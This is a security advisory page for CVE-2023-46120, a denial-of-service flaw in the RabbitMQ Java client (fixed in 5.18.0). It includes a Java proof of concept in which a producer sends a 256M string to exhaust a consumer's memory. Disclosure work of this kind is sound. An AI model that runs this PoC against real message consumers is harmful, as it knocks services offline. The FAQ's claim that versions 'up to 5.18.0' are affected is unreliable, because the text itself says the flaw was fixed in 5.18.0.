CVE-2023-46120: RabbitMQ Java client's lack of message size limitation leads to remote DoS attack

Published Oct 24, 2023
·
Updated

Summary maxBodyLebgth was not used when receiving Message objects. Attackers could just send a very large Message causing a memory overflow and triggering an OOM Error.

PoC RbbitMQ Use RabbitMQ 3.11.16 as MQ and specify Message Body size 512M (here it only needs to be larger than the Consumer memory) Start RabbitMQ Producer Build a String of length 256M and send it to Consumer

package org.springframework.amqp.helloworld;

import org.springframework.amqp.core.AmqpTemplate; import org.springframework.context.ApplicationContext; import org.springframework.context.annotation.AnnotationConfigApplicationContext;

public class Producer { public static void main(String[] args) { ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class); AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class); String s = "A"; for(int i=0;i<28;++i){ s = s + s; System.out.println(i); } amqpTemplate.convertAndSend(s); System.out.println("Send Finish"); } }

Consumer First set the heap memory size to 128M Read the message sent by the Producer from the MQ and print the length package org.springframework.amqp.helloworld;

import org.springframework.amqp.core.AmqpTemplate; import org.springframework.amqp.core.Message; import org.springframework.context.ApplicationContext; import org.springframework.context.annotation.AnnotationConfigApplicationContext;

public class Consumer { public static void main(String[] args) { ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class); AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class); Object o = amqpTemplate.receiveAndConvert(); if(o != null){ String s = o.toString(); System.out.println("Received Length : " + s.length()); }else{ System.out.println("null"); } } } Results Run the Producer first, then the Consumer Consumer throws OOM Exception

Impact Users of RabbitMQ may suffer from DoS attacks from RabbitMQ Java client which will ultimately exhaust the memory of the consumer.

Other sources

The RabbitMQ Java client library allows Java and JVM-based applications to connect to and interact with RabbitMQ nodes. maxBodyLebgth was not used when receiving Message objects. Attackers could send a very large Message causing a memory overflow and triggering an OOM Error. Users of RabbitMQ may suffer from DoS attacks from RabbitMQ Java client which will ultimately exhaust the memory of the consumer. This vulnerability was patched in version 5.18.0.

MITRE

Affected Software

2 affected componentsFixes available
maven/com.rabbitmq:amqp-client<5.18.0
5.18.0
VMware Rabbitmq Java Client<5.18.0

Event History

Oct 24, 2023
Advisory Published
01:49 AM
CVE Published
via MITRE·11:05 PM
Data Sourced
via MITRE·11:05 PM
DescriptionSeverityWeakness
Oct 25, 2023
Data Sourced
via NVD·06:17 PM
RemedyDescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the vulnerability ID of this vulnerability?

The vulnerability ID is CVE-2023-46120.

2

What is the summary of CVE-2023-46120 vulnerability?

The summary of CVE-2023-46120 vulnerability is that the `maxBodyLebgth` parameter was not used when receiving Message objects, allowing attackers to send a large message causing a memory overflow and triggering an Out-of-Memory (OOM) error.

3

What is the severity score of CVE-2023-46120?

The severity score of CVE-2023-46120 is 4.9 (medium severity).

4

How can the CVE-2023-46120 vulnerability be exploited?

The CVE-2023-46120 vulnerability can be exploited by an attacker sending a very large Message to trigger a memory overflow and an Out-of-Memory (OOM) error.

5

What software is affected by CVE-2023-46120?

The affected software for CVE-2023-46120 is RabbitMQ version up to 5.18.0.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203